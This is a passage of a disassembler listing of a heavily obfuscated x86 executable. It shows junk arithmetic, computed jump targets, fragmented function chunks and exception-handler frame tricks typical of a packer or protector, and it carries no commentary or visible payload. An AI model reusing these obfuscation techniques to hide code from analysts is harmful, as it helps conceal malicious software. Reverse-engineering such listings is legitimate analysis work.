loc_427140:				; CODE XREF: sub_42325E:loc_4276C0j
		pop	ecx
		rol	ecx, 17h
		sub	ecx, ds:4000F4h
		add	ecx, 9FCF4E83h
		add	ecx, ebp
		add	ecx, 0EBC72302h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_424261
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------


loc_427160:				; CODE XREF: hjohnhn9:00426F4Bj
		jp	loc_423E8F

; =============== S U B	R O U T	I N E =======================================



sub_427166	proc near		; CODE XREF: sub_424631:loc_423B9Cp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424608 SIZE 00000024 BYTES

		xchg	edx, [esp+0]
		pop	edx
		rol	eax, 7
		push	eax
		push	esi
		push	1190FCD1h
		jmp	loc_424608
sub_427166	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_427179:				; CODE XREF: sub_426A30+22j
		or	edx, edx
		jz	loc_4247C1


loc_427181:				; CODE XREF: sub_426A30+5CFj
					; sub_426A30+1E82j
		jnz	loc_42328D
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jmp	loc_426FF4
; END OF FUNCTION CHUNK	FOR sub_426A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_427195:				; CODE XREF: sub_427C9B+5Cj
		adc	edi, ecx
		sub	ebp, esi
		ror	eax, 0Fh
		xor	ebp, ebx


loc_42719E:				; CODE XREF: sub_427C9B:loc_427CE6j
		add	eax, 6C2F4752h
		call	sub_425BF2


loc_4271A9:				; CODE XREF: hjohnhn9:00424A8Dj
		jmp	loc_429050
; ---------------------------------------------------------------------------


loc_4271AE:				; CODE XREF: hjohnhn9:004242C1j
					; sub_427C9B:loc_42858Dj
		jmp	loc_428EBF
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42387A


loc_4271B3:				; CODE XREF: sub_42387A+1Aj
		jmp	loc_4270DD
; END OF FUNCTION CHUNK	FOR sub_42387A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423A75


loc_4271B8:				; CODE XREF: sub_423A75:loc_426C69j
		pop	ebx
		or	ebx, 0C6FF0DC4h
		add	ebx, 804F2E92h
		add	edx, ebx
		pop	ebx
		mov	edx, [edx]
		jmp	sub_4285DF
; END OF FUNCTION CHUNK	FOR sub_423A75
; ---------------------------------------------------------------------------
		xor	ecx, 1CEA3F9Eh
		jmp	sub_427463
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CCD


loc_4271DA:				; CODE XREF: sub_423CCD:loc_427B92j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-8], 80h
		jz	loc_427272
		call	sub_42698F
; END OF FUNCTION CHUNK	FOR sub_423CCD
; START	OF FUNCTION CHUNK FOR sub_427486


loc_4271F2:				; CODE XREF: sub_427486:loc_425D38j
		jnz	loc_424E94
		jmp	loc_428DEE
; END OF FUNCTION CHUNK	FOR sub_427486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_4271FD:				; CODE XREF: sub_424161+446j
		jno	loc_42405C
		jmp	loc_426054
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------


loc_427208:				; CODE XREF: hjohnhn9:00428B7Dj
		jnz	loc_426335
		jmp	loc_4282C9
; ---------------------------------------------------------------------------
		mov	eax, [ecx]
		not	ebp
		jmp	sub_428E76
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_42721D:				; CODE XREF: sub_427486+B9Bj
		jmp	loc_424D52
; END OF FUNCTION CHUNK	FOR sub_427486
; ---------------------------------------------------------------------------
		or	eax, ebp
		jmp	sub_4263C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423753


loc_427229:				; CODE XREF: sub_423753+25A8j
		add	edx, 3B6EABB3h
		jmp	loc_428BAA
; END OF FUNCTION CHUNK	FOR sub_423753
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_427234:				; CODE XREF: sub_4287BF-12Fj
		jle	loc_4268DB
		mov	eax, [ebp-4]
		xor	edx, edx
		push	edx


loc_427240:				; CODE XREF: hjohnhn9:loc_427749j
		push	eax
		jmp	loc_42510D
; ---------------------------------------------------------------------------


loc_427246:				; CODE XREF: sub_4287BF:loc_42867Bj
		mov	eax, [ebp-4]
		call	sub_426924
		jmp	loc_423022
; END OF FUNCTION CHUNK	FOR sub_4287BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_427253:				; CODE XREF: sub_425BD2:loc_4265B8j
		dec	dword ptr [ebp-10h]
		push	offset loc_4246C9
		jmp	loc_4266A1
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BF2


loc_427260:				; CODE XREF: sub_425BF2+Ej
		jz	loc_4290BA


loc_427266:				; CODE XREF: hjohnhn9:loc_4280AEj
		jmp	loc_425B48
; END OF FUNCTION CHUNK	FOR sub_425BF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42698F


loc_42726B:				; CODE XREF: sub_42698F:loc_426E55j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42698F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F85


loc_42726D:				; CODE XREF: sub_426F85+856j
		jmp	loc_428150
; END OF FUNCTION CHUNK	FOR sub_426F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CCD


loc_427272:				; CODE XREF: sub_423CCD+351Aj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_427288
		add	[ebp+var_8], 4
		jmp	loc_426996
; ---------------------------------------------------------------------------


loc_427288:				; CODE XREF: sub_423CCD+35ACj
		push	offset loc_423B63
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_423CCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_427292:				; CODE XREF: sub_427486+1744j
		jnz	loc_426123
; END OF FUNCTION CHUNK	FOR sub_427486
; START	OF FUNCTION CHUNK FOR sub_424EC9


loc_427298:				; CODE XREF: sub_424EC9+2F61j
		jmp	loc_428A28
; END OF FUNCTION CHUNK	FOR sub_424EC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_42729D:				; CODE XREF: sub_424631-742j
		jmp	loc_4276C5
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
		xor	edi, 0E9F2FF93h
		and	ecx, 0B476BC97h
		jmp	loc_426123
; ---------------------------------------------------------------------------


loc_4272B3:				; DATA XREF: sub_4245BA+Eo
		mov	eax, [ebp-4]
		movzx	eax, word ptr [eax+14h]
		push	edx
		push	0FF219A5h
		pop	edx
		sub	edx, 1CABD1EFh
		or	edx, 0BDCE1D41h
		jmp	loc_428871
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423E64


loc_4272D3:				; CODE XREF: sub_423E64-16Ej
		mov	edx, esi
		jmp	loc_4239A2
; END OF FUNCTION CHUNK	FOR sub_423E64
; ---------------------------------------------------------------------------
		mov	edi, 0A2291AFAh
		jmp	sub_428D49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_4272E4:				; CODE XREF: sub_424819+3725j
		push	esi
		mov	esi, ebp
		xchg	esi, [esp+0]
		mov	ebp, edx
		xchg	ebp, [esp+0]
		push	esi
		mov	esi, ebx
		jmp	loc_4282C4
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
		db 0BAh
		dd 17B3C1CFh, 425E5A68h, 0E7D6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_427306:				; CODE XREF: sub_425BD2:loc_425D5Bj
		sub	ecx, 0CBA9F7CFh
		rol	ecx, 15h
		add	ecx, 48A7B40Fh
		add	eax, ecx
		pop	ecx
		mov	eax, [eax]
		mov	esp, ebp
		xchg	eax, [esp+4+var_4]
		jmp	loc_424AB4
; END OF FUNCTION CHUNK	FOR sub_425BD2

; =============== S U B	R O U T	I N E =======================================



sub_427324	proc near		; CODE XREF: hjohnhn9:00424CA0p
					; hjohnhn9:004280BAj

; FUNCTION CHUNK AT 004279D7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004284AC SIZE 0000001F BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	75E083Dh
		pop	edx
		xor	edx, 1BF516ECh
		jmp	loc_4284AC
sub_427324	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F5A


loc_427339:				; CODE XREF: sub_426F5A:loc_427B8Dj
		push	0C335D6F1h
		or	ebp, edx
		jmp	loc_423E8D
; END OF FUNCTION CHUNK	FOR sub_426F5A

; =============== S U B	R O U T	I N E =======================================



sub_427345	proc near		; CODE XREF: sub_4249E1-B25p
					; hjohnhn9:00424140j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423571 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00424FE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042742C SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	0C734959h
		xchg	ecx, [esp+0]
		mov	esi, ecx
		jmp	loc_42742C
sub_427345	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427363


loc_427358:				; CODE XREF: hjohnhn9:loc_424728j
					; sub_427363-159Ej
		pop	large dword ptr	fs:0
		add	esp, 4
		retn
; END OF FUNCTION CHUNK	FOR sub_427363

; =============== S U B	R O U T	I N E =======================================



sub_427363	proc near		; CODE XREF: sub_423369+4p

; FUNCTION CHUNK AT 00425DB7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004270C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427358 SIZE 0000000B BYTES

		push	large dword ptr	fs:0
		jmp	loc_4270C0
sub_427363	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_42736F:				; CODE XREF: sub_427486+196Ej
		sbb	edx, 848BAD9h
		jmp	loc_4288D4
; END OF FUNCTION CHUNK	FOR sub_427486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425029


loc_42737B:				; CODE XREF: sub_425029+1ABAj
		jmp	loc_423AE9
; END OF FUNCTION CHUNK	FOR sub_425029
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427BCE


loc_427380:				; CODE XREF: sub_427BCE+13j
		jnz	loc_42377B
		jmp	loc_426EFE
; END OF FUNCTION CHUNK	FOR sub_427BCE
; ---------------------------------------------------------------------------
		sbb	eax, edx
		jmp	sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4264CF


loc_427392:				; CODE XREF: sub_4264CF:loc_4264DEj
		call	sub_426B29
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	nullsub_3
		jmp	loc_426809
; END OF FUNCTION CHUNK	FOR sub_4264CF
; ---------------------------------------------------------------------------
		cmp	ebp, 161BC831h
		jmp	loc_4290C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_4273B2:				; CODE XREF: sub_42304F+6j
					; sub_42304F+11D2j ...
		jno	loc_4273D0
		or	eax, eax
		jz	loc_427112
		cmp	eax, 0FFFFFFFFh
		jz	loc_427112
		mov	eax, [eax]
		jmp	loc_426AE9
; ---------------------------------------------------------------------------


loc_4273D0:				; CODE XREF: sub_42304F:loc_4273B2j
		or	eax, eax
		jz	loc_427112
		jmp	loc_4237EA
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------


loc_4273DD:				; CODE XREF: hjohnhn9:00427F54j
		xor	ebx, 9950C18Ch
		or	edi, 9DF68B53h
		jmp	loc_428B98
; ---------------------------------------------------------------------------


loc_4273EE:				; CODE XREF: hjohnhn9:004248A1j
		adc	edx, 0F634EFE5h
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_424819


loc_4273F5:				; CODE XREF: sub_424819:loc_42488Bj
		add	ebx, 0FD77EFFEh
		xchg	ebx, [esp-4+arg_0]
		push	eax
		lea	eax, loc_428A04
		jmp	loc_426EC4
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278EC


loc_42740A:				; CODE XREF: sub_4278EC-34ECj
		mov	edx, ds:dword_423944
		imul	byte ptr [edx]
		push	offset loc_427C31
		jmp	loc_42434F
; END OF FUNCTION CHUNK	FOR sub_4278EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424B97


loc_42741C:				; CODE XREF: sub_424B97+3727j
		pushf
		sub	ebx, edx
		popf


loc_427420:				; CODE XREF: sub_424B97+371Bj
		add	edx, 2CDA0D3Dh
		mov	edx, [edx]
		xchg	edx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_424B97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427345


loc_42742C:				; CODE XREF: sub_427345+Ej
		jmp	loc_423571
; END OF FUNCTION CHUNK	FOR sub_427345
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_427431:				; CODE XREF: sub_4260BD+E36j
		jmp	loc_423A50
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_427436:				; CODE XREF: sub_426A78-B44j
		jmp	loc_423217
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42355C


loc_42743B:				; CODE XREF: sub_42355C+10j
		jmp	loc_42607D
; END OF FUNCTION CHUNK	FOR sub_42355C

; =============== S U B	R O U T	I N E =======================================



sub_427440	proc near		; DATA XREF: sub_423E64:loc_4239A6o
		push	dword ptr [ebp+10h]
		push	edx
		call	sub_423BC3
sub_427440	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_427449:				; CODE XREF: sub_423CDB+2E3Ej
		jmp	loc_42407B
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240E6


loc_42744E:				; CODE XREF: sub_4240E6:loc_428AFFj
		push	offset loc_4280BF
		jmp	nullsub_113
; END OF FUNCTION CHUNK	FOR sub_4240E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D02


loc_427458:				; CODE XREF: sub_426D02:loc_428F06j
		jz	loc_425AFC
		jmp	loc_425B43
; END OF FUNCTION CHUNK	FOR sub_426D02

; =============== S U B	R O U T	I N E =======================================



sub_427463	proc near		; CODE XREF: hjohnhn9:004271D5j
					; sub_4242A0:loc_427877p
		xchg	ecx, [esp+0]
		pop	ecx
		push	eax
		call	sub_423425
		mov	[ebp-4], eax
		jmp	loc_423415
sub_427463	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E85


loc_427475:				; CODE XREF: sub_427E85+4j
		lea	eax, [ebp-125h]
		jmp	loc_426E75
; END OF FUNCTION CHUNK	FOR sub_427E85
; ---------------------------------------------------------------------------


loc_427480:				; CODE XREF: hjohnhn9:00423C3Fj
		jg	loc_423640

; =============== S U B	R O U T	I N E =======================================



sub_427486	proc near		; CODE XREF: sub_4264CF+Ap

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423246 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424D52 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00424E94 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00425D38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426123 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004263D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004271F2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042721D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427292 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042736F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427921 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00428004 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042850B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004288D4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00428B1C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428BC1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428DEE SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		or	eax, eax
		jmp	loc_425D38
sub_427486	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42363F


loc_427491:				; CODE XREF: sub_42363F+1553j
		jo	loc_425215
		and	edx, ebx
		jp	loc_424067
		jmp	loc_424FB4
; END OF FUNCTION CHUNK	FOR sub_42363F
; ---------------------------------------------------------------------------


loc_4274A4:				; CODE XREF: hjohnhn9:00423D9Cj
		add	eax, 381617F7h
		add	eax, ebp
		push	ecx


loc_4274AD:				; CODE XREF: hjohnhn9:00427C39j
		push	332398CDh
		sub	ecx, ebx
		jmp	loc_425DF2
; ---------------------------------------------------------------------------
		or	ecx, 87CFD7Ch
		or	ebp, 0ECC13577h
		jmp	sub_42698F
; ---------------------------------------------------------------------------
		test	edi, 0F8C6ADB3h
		jmp	loc_426CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D02


loc_4274D5:				; CODE XREF: sub_426D02+1B1Cj
		mov	eax, [eax]
		mov	[ebp-4], eax
		push	0E2FF0717h


loc_4274DF:				; CODE XREF: sub_424928+3D1Dj
		pop	eax
		add	eax, 86D6B987h
		xor	eax, 4E722E70h
		add	eax, 9EEA912Ah
		jmp	loc_42326A
; END OF FUNCTION CHUNK	FOR sub_426D02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244F5


loc_4274F7:				; CODE XREF: sub_4244F5-13Dj
		push	edx
		push	eax
; END OF FUNCTION CHUNK	FOR sub_4244F5
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_4274F9:				; CODE XREF: sub_42304F+19E5j
		mov	eax, [ebp-18h]
		add	eax, eax
		cdq
		add	eax, [esp-4+arg_0]
		adc	edx, [esp-4+arg_4]
		add	esp, 8
		jmp	loc_426EF9
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------


loc_42750E:				; CODE XREF: hjohnhn9:004234C5j
					; hjohnhn9:loc_427989j
		call	sub_424877
		push	0B191C15Dh
		pop	edx
		add	edx, 2896EF22h
		or	edx, 0EDE0DF48h
		add	edx, 0B259B4B7h
		call	sub_4279ED
		jmp	loc_425CDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_427535:				; CODE XREF: sub_42325E+1FBDj
		pop	ebx
		xor	ebx, 0A02794A4h
		jns	loc_4269A0
		not	ecx
		test	ebx, 0D8609567h
		jmp	loc_4231D4
; END OF FUNCTION CHUNK	FOR sub_42325E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F65


loc_427550:				; CODE XREF: sub_423F65+104Aj
		jmp	loc_428287
; END OF FUNCTION CHUNK	FOR sub_423F65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4231AD


loc_427555:				; CODE XREF: sub_4231AD+4j
					; sub_4231AD+1B47j ...
		mov	al, 1
		jmp	loc_424CFC
; END OF FUNCTION CHUNK	FOR sub_4231AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424564


loc_42755C:				; CODE XREF: sub_424564+8AFj
					; sub_424564+1EA6j
		inc	[ebp+var_4]
		jmp	loc_42456D
; END OF FUNCTION CHUNK	FOR sub_424564

; =============== S U B	R O U T	I N E =======================================



sub_427564	proc near		; CODE XREF: sub_424D38:loc_428AACp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423A98 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00423D06 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004245D2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00424AB9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00425CE7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426FE9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427D81 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042825D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428906 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00428B22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042901D SIZE 00000005 BYTES

		call	sub_423369


loc_427569:				; CODE XREF: sub_423548:loc_423551j
		test	al, al


loc_42756B:				; CODE XREF: hjohnhn9:0042489Bj
		jz	loc_424AB9
		jmp	loc_426FE9
sub_427564	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shr	edi, 0Eh
		jmp	sub_4230E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_42757E:				; CODE XREF: sub_4287BF+8BFj
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_428888
; ---------------------------------------------------------------------------


loc_427588:				; CODE XREF: sub_4287BF:loc_4287D2j
		mov	eax, [ebp-4]
		call	sub_428436
		test	al, al
		jnz	loc_4268DB
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		jmp	loc_42318D
; END OF FUNCTION CHUNK	FOR sub_4287BF

; =============== S U B	R O U T	I N E =======================================



sub_4275A3	proc near		; CODE XREF: sub_42911Cj
					; DATA XREF: sub_427C9B:loc_429112o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004231A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425CD0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00426134 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042686B SIZE 00000005 BYTES

		lea	eax, [ebp-14h]
		push	eax
		push	ecx
		mov	ecx, ebx
		xchg	ecx, [esp+0]
		jmp	loc_42686B
sub_4275A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4275B2	proc near		; CODE XREF: hjohnhn9:00423875j
					; hjohnhn9:00427E9Cp

; FUNCTION CHUNK AT 0042471E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_424AAE
		xor	ebx, eax
		mov	[ebp-8], ebx
		push	offset sub_426475
		jmp	loc_42471E
sub_4275B2	endp

; ---------------------------------------------------------------------------


loc_4275CA:				; CODE XREF: hjohnhn9:00425F10j
		or	edi, ebp
		push	edi
		add	edi, edx
		shl	ecx, 16h
; START	OF FUNCTION CHUNK FOR sub_426354


loc_4275D2:				; CODE XREF: sub_426354:loc_425F00j
		or	ecx, 0A4320A8Ah
		and	ecx, 3F6B5DA7h
		jmp	loc_4287E0
; END OF FUNCTION CHUNK	FOR sub_426354
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427F90


loc_4275E4:				; CODE XREF: sub_427F90+Fj
		jmp	loc_428F6C
; END OF FUNCTION CHUNK	FOR sub_427F90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_4275E9:				; CODE XREF: sub_423B05+168j
		jmp	loc_4285EB
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F65


loc_4275EE:				; CODE XREF: sub_423F65+Dj
		jnz	loc_424F91
		jmp	loc_4252A4
; END OF FUNCTION CHUNK	FOR sub_423F65

; =============== S U B	R O U T	I N E =======================================



sub_4275F9	proc near		; DATA XREF: hjohnhn9:loc_429089o

var_4		= dword	ptr -4

		add	eax, 9A703663h
		add	eax, ebp
		add	eax, 36415E00h
		mov	eax, [eax]
		push	esi
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		push	offset sub_423444
		jmp	loc_4251E1
sub_4275F9	endp

; ---------------------------------------------------------------------------


loc_427619:				; DATA XREF: sub_426B29+126Ao
		mov	[ebp-0Ah], al
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_42761C:				; CODE XREF: sub_4262C5:loc_427C2Cj
		jz	loc_42389B
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0
		call	sub_428447


loc_42762D:				; CODE XREF: sub_428945+7j
		jmp	loc_423288
; END OF FUNCTION CHUNK	FOR sub_4262C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428249


loc_427632:				; CODE XREF: sub_428249+5j
		jmp	loc_425BD8
; END OF FUNCTION CHUNK	FOR sub_428249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_427637:				; CODE XREF: sub_424A78:loc_42380Bj
		xchg	ebx, [esp-4+arg_0]
		mov	ebp, ebx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_424A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_42763E:				; CODE XREF: sub_4260BD-173Dj
		cmp	dword ptr [ebp-8], 0
		jge	loc_426D9D
		jmp	loc_424A12
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270CF


loc_42764D:				; CODE XREF: sub_4270CF+9j
		mov	edx, ecx
		xchg	edx, [esp+4+var_4]
		call	sub_423B05
; END OF FUNCTION CHUNK	FOR sub_4270CF
; START	OF FUNCTION CHUNK FOR sub_424698


loc_427657:				; CODE XREF: sub_424698+1B4Ej
		jmp	loc_427CFC
; END OF FUNCTION CHUNK	FOR sub_424698
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426211


loc_42765C:				; CODE XREF: sub_426211-1CD4j
		jmp	nullsub_101
; END OF FUNCTION CHUNK	FOR sub_426211
; ---------------------------------------------------------------------------


loc_427661:				; DATA XREF: sub_427486-272Eo
		popf
		xchg	eax, [esp]
		jmp	sub_4279ED
; ---------------------------------------------------------------------------


loc_42766A:				; DATA XREF: sub_427C9B-2D20o
		push	edi
		push	2E5D284Bh
		pop	edi
		rol	edi, 1Ch
		xor	edi, 205893AEh
		rol	edi, 1
		add	edi, 0DAC7B922h
		xchg	edi, [esp]
		jmp	loc_4239E7
; ---------------------------------------------------------------------------


loc_42768A:				; DATA XREF: sub_4282F8:loc_425BC8o
		pop	ecx
		mov	edx, [ebp+8]
		imul	dword ptr [edx-4]
		push	offset sub_425D47
		jmp	loc_425D60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240AE


loc_42769B:				; CODE XREF: sub_4240AE+2D1Cj
		add	esi, 0DD664860h
		or	esi, 104BE9C1h
		add	esi, 0A9F64686h
		xchg	esi, [esp+8+var_8]
		jmp	sub_426708
; END OF FUNCTION CHUNK	FOR sub_4240AE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424831


loc_4276B6:				; CODE XREF: sub_424831+19j
		jmp	loc_424405
; END OF FUNCTION CHUNK	FOR sub_424831
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A28


loc_4276BB:				; CODE XREF: sub_424A28-1FCj
		jmp	loc_4289C5
; END OF FUNCTION CHUNK	FOR sub_424A28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_4276C0:				; CODE XREF: sub_42325E-10Aj
		jmp	loc_427140
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_4276C5:				; CODE XREF: sub_424631:loc_42729Dj
		push	eax
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_42392D
		pop	ecx
		shl	eax, 3
		mov	edx, [ebp+8]
		jmp	loc_428E16
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
		add	ebp, 0B3275500h
		adc	ecx, eax
		jmp	sub_426C09
; ---------------------------------------------------------------------------


loc_4276EB:				; DATA XREF: sub_428E98-400o
		mov	ebp, [eax]
		add	eax, 4
		mov	edx, [eax]
		call	sub_4247F4
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_4276F7:				; CODE XREF: sub_42325E+BFAj
		jmp	loc_423A82
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


